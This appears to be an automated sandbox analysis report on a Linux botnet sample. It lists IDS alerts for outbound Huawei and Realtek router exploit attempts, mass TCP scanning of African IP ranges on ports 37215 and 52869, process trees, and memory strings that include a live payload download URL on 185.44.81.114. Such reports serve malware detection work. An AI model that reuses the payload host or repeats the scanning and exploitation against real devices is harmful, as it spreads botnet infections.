192.168.2.23156.226.72.251082372152835222 05/27/22-02:00:15.542965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51082	37215	192.168.2.23	156.226.72.2
192.168.2.23156.244.91.19743770528692027339 05/27/22-02:02:09.470687	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43770	52869	192.168.2.23	156.244.91.197
192.168.2.23156.241.127.11235344528692027339 05/27/22-01:59:28.808407	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35344	52869	192.168.2.23	156.241.127.112
192.168.2.23156.225.137.15942070528692027339 05/27/22-02:00:06.037170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42070	52869	192.168.2.23	156.225.137.159
192.168.2.23156.241.126.15634446528692027339 05/27/22-02:01:27.049255	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34446	52869	192.168.2.23	156.241.126.156
192.168.2.23156.238.59.649688372152835222 05/27/22-02:02:19.042372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49688	37215	192.168.2.23	156.238.59.6
192.168.2.23156.235.110.23751304372152835222 05/27/22-02:01:03.098990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51304	37215	192.168.2.23	156.235.110.237
192.168.2.23156.241.90.18740662528692027339 05/27/22-01:59:32.517805	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40662	52869	192.168.2.23	156.241.90.187
192.168.2.23156.226.66.1148300528692027339 05/27/22-02:02:02.743966	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48300	52869	192.168.2.23	156.226.66.11
192.168.2.23156.238.60.12843752372152835222 05/27/22-02:01:53.946053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43752	37215	192.168.2.23	156.238.60.128
192.168.2.23156.250.89.3858638372152835222 05/27/22-01:59:09.384285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58638	37215	192.168.2.23	156.250.89.38
192.168.2.23156.226.101.14754000372152835222 05/27/22-02:02:36.580337	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54000	37215	192.168.2.23	156.226.101.147
192.168.2.23156.226.48.2838942372152835222 05/27/22-01:59:26.668782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38942	37215	192.168.2.23	156.226.48.28
192.168.2.23156.244.87.7452230528692027339 05/27/22-02:01:37.316060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52230	52869	192.168.2.23	156.244.87.74
192.168.2.23156.226.92.5332978528692027339 05/27/22-02:02:09.688236	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32978	52869	192.168.2.23	156.226.92.53

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 01:59:04.153992891 CEST	7021	37215	192.168.2.23	156.67.184.128
May 27, 2022 01:59:04.154012918 CEST	7021	37215	192.168.2.23	197.99.17.161
May 27, 2022 01:59:04.154038906 CEST	7021	37215	192.168.2.23	41.40.81.201
May 27, 2022 01:59:04.154061079 CEST	7021	37215	192.168.2.23	197.213.2.186
May 27, 2022 01:59:04.154076099 CEST	7021	37215	192.168.2.23	197.234.115.112
May 27, 2022 01:59:04.154073954 CEST	7021	37215	192.168.2.23	197.64.91.128
May 27, 2022 01:59:04.154093981 CEST	7021	37215	192.168.2.23	41.99.224.190
May 27, 2022 01:59:04.154098988 CEST	7021	37215	192.168.2.23	41.117.226.211
May 27, 2022 01:59:04.154114008 CEST	7021	37215	192.168.2.23	41.234.183.12
May 27, 2022 01:59:04.154114962 CEST	7021	37215	192.168.2.23	197.238.184.175
May 27, 2022 01:59:04.154119968 CEST	7021	37215	192.168.2.23	41.180.235.160
May 27, 2022 01:59:04.154122114 CEST	7021	37215	192.168.2.23	41.61.10.109
May 27, 2022 01:59:04.154124022 CEST	7021	37215	192.168.2.23	156.137.89.146
May 27, 2022 01:59:04.154126883 CEST	7021	37215	192.168.2.23	156.78.108.157
May 27, 2022 01:59:04.154129982 CEST	7021	37215	192.168.2.23	41.112.88.225
May 27, 2022 01:59:04.154145002 CEST	7021	37215	192.168.2.23	156.199.80.186
May 27, 2022 01:59:04.154151917 CEST	7021	37215	192.168.2.23	41.147.180.226
May 27, 2022 01:59:04.154154062 CEST	7021	37215	192.168.2.23	197.229.168.1
May 27, 2022 01:59:04.154156923 CEST	7021	37215	192.168.2.23	197.95.166.17
May 27, 2022 01:59:04.154156923 CEST	7021	37215	192.168.2.23	156.228.239.241
May 27, 2022 01:59:04.154159069 CEST	7021	37215	192.168.2.23	41.137.101.98
May 27, 2022 01:59:04.154156923 CEST	7021	37215	192.168.2.23	41.230.65.248
May 27, 2022 01:59:04.154161930 CEST	7021	37215	192.168.2.23	156.19.60.202
May 27, 2022 01:59:04.154161930 CEST	7021	37215	192.168.2.23	197.84.48.127
May 27, 2022 01:59:04.154165030 CEST	7021	37215	192.168.2.23	197.106.139.82
May 27, 2022 01:59:04.154167891 CEST	7021	37215	192.168.2.23	197.181.133.82
May 27, 2022 01:59:04.154170990 CEST	7021	37215	192.168.2.23	156.16.144.241
May 27, 2022 01:59:04.154176950 CEST	7021	37215	192.168.2.23	156.205.149.157
May 27, 2022 01:59:04.154179096 CEST	7021	37215	192.168.2.23	197.49.83.54
May 27, 2022 01:59:04.154182911 CEST	7021	37215	192.168.2.23	156.168.199.48
May 27, 2022 01:59:04.154186964 CEST	7021	37215	192.168.2.23	41.107.5.69
May 27, 2022 01:59:04.154187918 CEST	7021	37215	192.168.2.23	197.148.133.43
May 27, 2022 01:59:04.154194117 CEST	7021	37215	192.168.2.23	156.50.58.80
May 27, 2022 01:59:04.154196024 CEST	7021	37215	192.168.2.23	156.57.64.222
May 27, 2022 01:59:04.154196024 CEST	7021	37215	192.168.2.23	197.251.156.185
May 27, 2022 01:59:04.154198885 CEST	7021	37215	192.168.2.23	156.164.123.94
May 27, 2022 01:59:04.154203892 CEST	7021	37215	192.168.2.23	197.166.216.117
May 27, 2022 01:59:04.154206038 CEST	7021	37215	192.168.2.23	156.190.165.255
May 27, 2022 01:59:04.154207945 CEST	7021	37215	192.168.2.23	156.49.73.1
May 27, 2022 01:59:04.154211044 CEST	7021	37215	192.168.2.23	197.84.228.52
May 27, 2022 01:59:04.154213905 CEST	7021	37215	192.168.2.23	41.96.206.246
May 27, 2022 01:59:04.154216051 CEST	7021	37215	192.168.2.23	156.52.160.55
May 27, 2022 01:59:04.154222012 CEST	7021	37215	192.168.2.23	197.104.121.229
May 27, 2022 01:59:04.154227018 CEST	7021	37215	192.168.2.23	197.134.229.10
May 27, 2022 01:59:04.154230118 CEST	7021	37215	192.168.2.23	41.123.238.65
May 27, 2022 01:59:04.154232979 CEST	7021	37215	192.168.2.23	41.218.235.134
May 27, 2022 01:59:04.154233932 CEST	7021	37215	192.168.2.23	41.50.75.196
May 27, 2022 01:59:04.154238939 CEST	7021	37215	192.168.2.23	197.17.210.4
May 27, 2022 01:59:04.154239893 CEST	7021	37215	192.168.2.23	41.150.4.150
May 27, 2022 01:59:04.154242992 CEST	7021	37215	192.168.2.23	156.142.146.52
May 27, 2022 01:59:04.154244900 CEST	7021	37215	192.168.2.23	156.165.188.144
May 27, 2022 01:59:04.154247046 CEST	7021	37215	192.168.2.23	156.19.112.1
May 27, 2022 01:59:04.154247999 CEST	7021	37215	192.168.2.23	41.143.41.178
May 27, 2022 01:59:04.154249907 CEST	7021	37215	192.168.2.23	156.177.90.31
May 27, 2022 01:59:04.154257059 CEST	7021	37215	192.168.2.23	41.247.170.215
May 27, 2022 01:59:04.154259920 CEST	7021	37215	192.168.2.23	197.172.249.36
May 27, 2022 01:59:04.154263973 CEST	7021	37215	192.168.2.23	41.69.248.228
May 27, 2022 01:59:04.154262066 CEST	7021	37215	192.168.2.23	156.106.233.112
May 27, 2022 01:59:04.154268026 CEST	7021	37215	192.168.2.23	41.233.106.250
May 27, 2022 01:59:04.154268026 CEST	7021	37215	192.168.2.23	197.177.60.246
May 27, 2022 01:59:04.154269934 CEST	7021	37215	192.168.2.23	41.210.157.121
May 27, 2022 01:59:04.154273987 CEST	7021	37215	192.168.2.23	156.168.188.100
May 27, 2022 01:59:04.154274940 CEST	7021	37215	192.168.2.23	41.80.62.76
May 27, 2022 01:59:04.154275894 CEST	7021	37215	192.168.2.23	156.250.137.30
May 27, 2022 01:59:04.154280901 CEST	7021	37215	192.168.2.23	41.156.181.124
May 27, 2022 01:59:04.154284000 CEST	7021	37215	192.168.2.23	41.169.182.205
May 27, 2022 01:59:04.154287100 CEST	7021	37215	192.168.2.23	197.184.22.223
May 27, 2022 01:59:04.154292107 CEST	7021	37215	192.168.2.23	156.200.89.1
May 27, 2022 01:59:04.154293060 CEST	7021	37215	192.168.2.23	156.130.244.49
May 27, 2022 01:59:04.154295921 CEST	7021	37215	192.168.2.23	156.177.117.232
May 27, 2022 01:59:04.154295921 CEST	7021	37215	192.168.2.23	197.223.147.26
May 27, 2022 01:59:04.154301882 CEST	7021	37215	192.168.2.23	197.90.202.139
May 27, 2022 01:59:04.154304028 CEST	7021	37215	192.168.2.23	197.16.65.229
May 27, 2022 01:59:04.154309034 CEST	7021	37215	192.168.2.23	41.53.238.165
May 27, 2022 01:59:04.154310942 CEST	7021	37215	192.168.2.23	156.113.138.155
May 27, 2022 01:59:04.154321909 CEST	7021	37215	192.168.2.23	41.112.159.144
May 27, 2022 01:59:04.154325008 CEST	7021	37215	192.168.2.23	41.178.122.146
May 27, 2022 01:59:04.154326916 CEST	7021	37215	192.168.2.23	197.140.149.2
May 27, 2022 01:59:04.154330015 CEST	7021	37215	192.168.2.23	197.197.143.74
May 27, 2022 01:59:04.154337883 CEST	7021	37215	192.168.2.23	41.185.232.193
May 27, 2022 01:59:04.154340982 CEST	7021	37215	192.168.2.23	197.68.10.130
May 27, 2022 01:59:04.154346943 CEST	7021	37215	192.168.2.23	197.230.229.48
May 27, 2022 01:59:04.154350042 CEST	7021	37215	192.168.2.23	197.35.127.165
May 27, 2022 01:59:04.154356003 CEST	7021	37215	192.168.2.23	41.123.12.255
May 27, 2022 01:59:04.154365063 CEST	7021	37215	192.168.2.23	156.157.204.246
May 27, 2022 01:59:04.154369116 CEST	7021	37215	192.168.2.23	156.71.254.77
May 27, 2022 01:59:04.154372931 CEST	7021	37215	192.168.2.23	197.243.82.176
May 27, 2022 01:59:04.154373884 CEST	7021	37215	192.168.2.23	41.21.93.5
May 27, 2022 01:59:04.154382944 CEST	7021	37215	192.168.2.23	156.4.116.250
May 27, 2022 01:59:04.154385090 CEST	7021	37215	192.168.2.23	41.248.51.165
May 27, 2022 01:59:04.154387951 CEST	7021	37215	192.168.2.23	197.162.228.245
May 27, 2022 01:59:04.154392958 CEST	7021	37215	192.168.2.23	197.249.29.163
May 27, 2022 01:59:04.154402971 CEST	7021	37215	192.168.2.23	197.95.19.57
May 27, 2022 01:59:04.154407024 CEST	7021	37215	192.168.2.23	156.138.1.74
May 27, 2022 01:59:04.154411077 CEST	7021	37215	192.168.2.23	156.136.18.177
May 27, 2022 01:59:04.154411077 CEST	7021	37215	192.168.2.23	156.13.13.195
May 27, 2022 01:59:04.154412985 CEST	7021	37215	192.168.2.23	197.106.12.196
May 27, 2022 01:59:04.154418945 CEST	7021	37215	192.168.2.23	156.223.178.133
May 27, 2022 01:59:04.154421091 CEST	7021	37215	192.168.2.23	156.199.4.56
May 27, 2022 01:59:04.154422998 CEST	7021	37215	192.168.2.23	41.205.68.110

System Behavior

Analysis Process: systemd PID: 6208, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: logrotate PID: 6208, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	/usr/sbin/logrotate /etc/logrotate.conf
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Analysis Process: logrotate PID: 6272, Parent PID: 6208

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Analysis Process: gzip PID: 6272, Parent PID: 6208

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/bin/gzip
Arguments:	/bin/gzip
File size:	97496 bytes
MD5 hash:	beef4e1f54ec90564d2acd57c0b0c897

Analysis Process: logrotate PID: 6273, Parent PID: 6208

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Analysis Process: sh PID: 6273, Parent PID: 6208

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/bin/sh
Arguments:	sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6274, Parent PID: 6273

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: invoke-rc.d PID: 6274, Parent PID: 6273

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	invoke-rc.d --quiet cups restart
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: invoke-rc.d PID: 6275, Parent PID: 6274

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: runlevel PID: 6275, Parent PID: 6274

General

Start time:	01:58:57
Start date:	27/05/2022
Path:	/sbin/runlevel
Arguments:	/sbin/runlevel
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: invoke-rc.d PID: 6278, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemctl PID: 6278, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-enabled cups.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: invoke-rc.d PID: 6279, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: ls PID: 6279, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/bin/ls
Arguments:	ls /etc/rc[S2345].d/S[0-9][0-9]cups
File size:	142144 bytes
MD5 hash:	e7793f15c2ff7e747b4bc7079f5cd4f7

Analysis Process: invoke-rc.d PID: 6280, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemctl PID: 6280, Parent PID: 6274

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl --quiet is-active cups.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: logrotate PID: 6281, Parent PID: 6208

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Analysis Process: gzip PID: 6281, Parent PID: 6208

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/bin/gzip
Arguments:	/bin/gzip
File size:	97496 bytes
MD5 hash:	beef4e1f54ec90564d2acd57c0b0c897

Analysis Process: logrotate PID: 6282, Parent PID: 6208

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Analysis Process: sh PID: 6282, Parent PID: 6208

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/bin/sh
Arguments:	sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: sh PID: 6283, Parent PID: 6282

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rsyslog-rotate PID: 6283, Parent PID: 6282

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/usr/lib/rsyslog/rsyslog-rotate
Arguments:	/usr/lib/rsyslog/rsyslog-rotate
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: rsyslog-rotate PID: 6284, Parent PID: 6283

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/usr/lib/rsyslog/rsyslog-rotate
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Analysis Process: systemctl PID: 6284, Parent PID: 6283

General

Start time:	01:58:59
Start date:	27/05/2022
Path:	/usr/bin/systemctl
Arguments:	systemctl kill -s HUP rsyslog.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Analysis Process: systemd PID: 6209, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: install PID: 6209, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/bin/install
Arguments:	/usr/bin/install -d -o man -g man -m 0755 /var/cache/man
File size:	158112 bytes
MD5 hash:	55e2520049dc6a62e8c94732e36cdd54

Analysis Process: systemd PID: 6249, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: find PID: 6249, Parent PID: 1

General

Start time:	01:58:56
Start date:	27/05/2022
Path:	/usr/bin/find
Arguments:	/usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete
File size:	320160 bytes
MD5 hash:	b68ef002f84cc54dd472238ba7df80ab

Analysis Process: systemd PID: 6277, Parent PID: 1

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Analysis Process: mandb PID: 6277, Parent PID: 1

General

Start time:	01:58:58
Start date:	27/05/2022
Path:	/usr/bin/mandb
Arguments:	/usr/bin/mandb --quiet
File size:	142432 bytes
MD5 hash:	1dda5ea0027ecf1c2db0f5a3de7e6941

Analysis Process: IdTVrdi0dC PID: 6293, Parent PID: 6126

General

Start time:	01:59:02
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	/tmp/IdTVrdi0dC
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6295, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6297, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6299, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6300, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6303, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6304, Parent PID: 6293

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6307, Parent PID: 6304

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6317, Parent PID: 6307

General

Start time:	01:59:11
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6319, Parent PID: 6317

General

Start time:	01:59:11
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6309, Parent PID: 6304

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Analysis Process: IdTVrdi0dC PID: 6311, Parent PID: 6309

General

Start time:	01:59:03
Start date:	27/05/2022
Path:	/tmp/IdTVrdi0dC
Arguments:	n/a
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Source: global traffic	TCP traffic: 41.21.180.82 ports 2,5,6,8,9,52869
Source: global traffic	TCP traffic: 156.13.116.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.53.148 ports 2,5,6,8,9,37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 156.67.184.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.99.17.161
Source: unknown	TCP traffic detected without corresponding DNS query: 41.40.81.201
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.2.186
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.115.112
Source: unknown	TCP traffic detected without corresponding DNS query: 197.64.91.128
Source: unknown	TCP traffic detected without corresponding DNS query: 41.99.224.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.117.226.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.234.183.12
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.184.175
Source: unknown	TCP traffic detected without corresponding DNS query: 41.180.235.160
Source: unknown	TCP traffic detected without corresponding DNS query: 156.137.89.146
Source: unknown	TCP traffic detected without corresponding DNS query: 156.78.108.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.112.88.225
Source: unknown	TCP traffic detected without corresponding DNS query: 156.199.80.186
Source: unknown	TCP traffic detected without corresponding DNS query: 41.147.180.226
Source: unknown	TCP traffic detected without corresponding DNS query: 197.229.168.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.166.17
Source: unknown	TCP traffic detected without corresponding DNS query: 156.228.239.241
Source: unknown	TCP traffic detected without corresponding DNS query: 41.137.101.98
Source: unknown	TCP traffic detected without corresponding DNS query: 41.230.65.248
Source: unknown	TCP traffic detected without corresponding DNS query: 156.19.60.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.48.127
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.139.82
Source: unknown	TCP traffic detected without corresponding DNS query: 197.181.133.82
Source: unknown	TCP traffic detected without corresponding DNS query: 156.16.144.241
Source: unknown	TCP traffic detected without corresponding DNS query: 156.205.149.157
Source: unknown	TCP traffic detected without corresponding DNS query: 197.49.83.54
Source: unknown	TCP traffic detected without corresponding DNS query: 156.168.199.48
Source: unknown	TCP traffic detected without corresponding DNS query: 41.107.5.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.148.133.43
Source: unknown	TCP traffic detected without corresponding DNS query: 156.50.58.80
Source: unknown	TCP traffic detected without corresponding DNS query: 156.57.64.222
Source: unknown	TCP traffic detected without corresponding DNS query: 197.251.156.185
Source: unknown	TCP traffic detected without corresponding DNS query: 156.164.123.94
Source: unknown	TCP traffic detected without corresponding DNS query: 197.166.216.117
Source: unknown	TCP traffic detected without corresponding DNS query: 156.190.165.255
Source: unknown	TCP traffic detected without corresponding DNS query: 156.49.73.1
Source: unknown	TCP traffic detected without corresponding DNS query: 197.84.228.52
Source: unknown	TCP traffic detected without corresponding DNS query: 41.96.206.246
Source: unknown	TCP traffic detected without corresponding DNS query: 156.52.160.55
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.121.229
Source: unknown	TCP traffic detected without corresponding DNS query: 197.134.229.10
Source: unknown	TCP traffic detected without corresponding DNS query: 41.123.238.65
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.235.134
Source: unknown	TCP traffic detected without corresponding DNS query: 41.50.75.196
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.4.150
Source: unknown	TCP traffic detected without corresponding DNS query: 156.142.146.52
Source: unknown	TCP traffic detected without corresponding DNS query: 156.165.188.144
Source: unknown	TCP traffic detected without corresponding DNS query: 156.19.112.1

Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://185.44.81.114/bins/mips;
Source: IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://fast.no/support/crawler.asp)
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://feedback.redkolibri.com/
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
